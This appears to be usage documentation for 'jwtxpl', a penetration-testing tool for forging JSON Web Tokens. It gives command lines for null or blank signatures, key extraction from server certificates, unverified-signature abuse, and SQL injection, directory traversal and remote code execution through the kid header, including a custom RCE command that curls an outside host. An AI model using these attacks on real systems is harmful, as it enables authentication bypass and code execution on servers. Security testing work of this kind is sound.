Common Usage

In this section we will see some cool features of the jwtxpl. Lot of this features are "key related". This means that the key will be retrieved or generated using such features, so if you pass two or more key related arguments, this will create a conflict, and the tool will return an error (alerting you of what is going on)

Specify a Password

JWTs can be signed using a password with HS* algorithms, use the --specify-key option to specify one:

jwtxpl <token> -a hs256 -p <key>:<value> --specify-key <yourpassword>

Blank Password

In order to set the password as blank, use -b/--blank

jwtxpl <token> -a hs256 -p <key>:<value> --blank

Null Signature

• (New in version 1.2)

It happens that providing no signature, result in a token be trusted by the server. In order to acheive this you can use -n/--null-signature. It can be used with all supported algorithms.

jwtxpl <token> -a hs256 -p <key>:<value> -n

Get Key From SSL Certs

Sometimes JWTs are signed using the server ssl connection private key. With the --auto-try option, passing the server domain as argument, the tool will grab the ssl server cert and will extract the public key from it.

jwtxpl <token> -a hs256 -p <key>:<value> --auto-try <domain>

Inject The kid Header

Developers can use multiple key to sign different tokens. In order to manage those keys, they need a key identifier, that result in the use of the kid header. The kid header can be affected by 3 known vulnerabilities; SQLi, Directory Traversal and Remote Code Execution. Use the option --inject-kid, and pass as argument the type of attack you want to run (sqli, dirtrv or rce). Last, you don't need to pass a key, since exploiting SQLi or Directory Traversal will force the key to use. For RCE you don't need that the server validates the token, since the code is executed before.

jwtxpl <token> -a hs256 -p <key>:<value> --inject-kid sqli
jwtxpl <token> -a hs256 -p <key>:<value> --inject-kid dirtrv
jwtxpl <token> -a hs256 --inject-kid rce

Use Custom RCE Payload

Default payload for RCE is a basic sleep, that's enough to verify if the server has validated the token. If you need to run another payload to confirm the RCE, pass the system command you want to run to the option --exec-via-kid.

jwtxpl <token> -a hs256 --exec-via-kid "curl mydomain.com:8080"

N.B. This is an RCE and not an OS command injection, since executing system command can be done via a ruby method.

Signature Not Verified

Sometimes developers just miss to verify the signature. You can exploit that with the --unverified option. This will result in the tool appending the original signature to you crafted token.

jwtxpl <token> -a hs256 -p <key>:<value> --unverified

Verifying a Token

If you have a public key file, in pem fromat, you can use it to verify the token. The option for do that, is -V/--verify-token-with, that accept as argument the path to the public key file. This is useful for example if you find one or more public keys on the server you are targeting, and you want to know which one can be used to verify the token.

jwtxpl <token> -V /path/to/key